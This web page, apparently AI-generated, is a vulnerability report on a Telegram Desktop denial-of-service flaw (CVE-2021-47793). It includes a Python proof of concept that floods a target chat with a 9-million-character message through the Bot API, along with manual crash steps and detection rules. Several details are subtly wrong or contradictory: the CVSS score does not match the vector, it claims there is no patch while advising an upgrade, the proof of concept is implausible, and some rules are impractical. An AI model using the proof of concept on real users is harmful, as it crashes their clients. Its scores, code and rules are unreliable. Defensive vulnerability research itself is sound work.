CVE-2021-47793
Executive Summary
CVE-2021-47793 is a denial of service (DoS) vulnerability in Telegram Desktop version 2.9.2. An attacker can crash the application by sending an oversized message payload of approximately 9 million bytes. The vulnerability is triggered when the victim pastes or receives the oversized message, causing the client to exhaust memory or enter an unresponsive state. No authentication is required to send the payload, but user interaction (pasting or viewing the message) is needed for the crash to occur. The CVSS score is 0.0 due to incomplete NVD data, but the actual severity is medium (CVSS 5.3) based on the vector. No public exploit code or Nuclei template is available, but the proof of concept is straightforward.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Telegram Desktop client, which is distributed as a binary package. No open-source package (NPM, PyPI, Go, Ruby) is directly involved. The risk is limited to end-user installations.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Base Score: 5.3 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must paste or view the message
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H) – application crash
Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. It can be used to disrupt Telegram Desktop sessions.
Deep Dive & Mechanics
The vulnerability resides in the message rendering engine of Telegram Desktop 2.9.2. When a message payload exceeds a certain size (approximately 9 million bytes), the client attempts to allocate a buffer for rendering. Due to insufficient input validation, the allocation fails or causes an out-of-memory condition, leading to a crash. The attack does not require authentication; any user can send a message to another user or group. The crash occurs when the recipient views the message or when the sender pastes the oversized payload into the input field.
Root Cause: Lack of size validation on incoming message payloads before buffer allocation.
Attack Flow:
- Attacker generates a 9 MB string (e.g., repeated characters).
- Attacker sends the string as a message to a victim via Telegram Desktop.
- Victim opens the chat or the message is automatically rendered.
- Telegram Desktop attempts to allocate memory for the message, causing a crash.
Vulnerable vs. Patched Code
No official patch has been released. The vulnerable code is in the message rendering module. A hypothetical fix would add a size check before allocation:
Vulnerable (pseudocode):
void renderMessage(const string& payload) {
char* buffer = new char[payload.size()]; // No size limit
// ... render
}
Patched (pseudocode):
void renderMessage(const string& payload) {
const size_t MAX_MSG_SIZE = 1024 * 1024; // 1 MB limit
if (payload.size() > MAX_MSG_SIZE) {
// Truncate or reject
return;
}
char* buffer = new char[payload.size()];
// ... render
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Telegram Desktop 2.9.2 installed on a target machine.
- Ability to send messages to the victim (e.g., via Telegram account).
Proof of Concept (Python):
import requests
# Generate 9 million byte payload
payload = "A" * 9000000
# Send via Telegram Bot API (requires bot token and chat ID)
bot_token = "YOUR_BOT_TOKEN"
chat_id = "TARGET_CHAT_ID"
url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
data = {"chat_id": chat_id, "text": payload}
response = requests.post(url, data=data)
print("Payload sent. Victim will crash upon viewing.")
Manual Exploitation:
- Open Telegram Desktop 2.9.2.
- Create a new message to the target.
- Paste a 9 MB string (e.g., from a text file) into the input field.
- Send the message. The sender's client may crash immediately; the recipient's client crashes when opening the chat.
Blue Team (Detection & Defense)
Detection:
- Monitor for unusually large message payloads in Telegram traffic (e.g., > 1 MB).
- Use network monitoring to detect repeated large messages from a single source.
Defense:
- Upgrade Telegram Desktop to a version newer than 2.9.2 (if available).
- Implement client-side message size limits via group policies or configuration.
- Use endpoint detection and response (EDR) to monitor for Telegram Desktop crashes.
Indicators of Compromise (IOCs)
- Network: Telegram messages with payload size > 5 MB.
- File: Temporary files in
%TEMP%with large sizes during crash. - Process: Telegram.exe crash dump files (e.g.,
Telegram.exe.*.dmp). - Log: Event ID 1000 (Application Error) in Windows Event Viewer for Telegram.exe.
Detection Engineering
YARA Rule
rule CVE_2021_47793_Telegram_DoS {
meta:
description = "Detects oversized message payloads in Telegram Desktop traffic"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2021-47793"
strings:
$payload = /[A-Za-z0-9]{9000000,}/ // 9 million+ characters
condition:
$payload
}
Sigma Rule
title: Telegram Desktop Crash via Oversized Message
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Telegram Desktop crashes caused by oversized message payloads
author: Valters IT
logsource:
category: application
product: windows
service: application
detection:
selection:
EventID: 1000
ApplicationName: 'Telegram.exe'
FaultingModule: 'Telegram.exe'
condition: selection
falsepositives:
- Legitimate large file transfers (unlikely)
level: medium
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2021-47793 Telegram Desktop DoS Oversized Message"; flow:to_client; content:"|00 00 00 00|"; depth:4; byte_test:4,>,9000000,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Telegram Desktop to the latest version (if a patch exists).
- If no patch, restrict message size via client configuration or group policy.
Long-term:
- Implement input validation for message payloads in the client.
- Add memory limits to prevent buffer over-allocation.
Workaround:
- Use Telegram Web or mobile clients, which may not be affected.
- Educate users not to open messages from untrusted sources.
Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.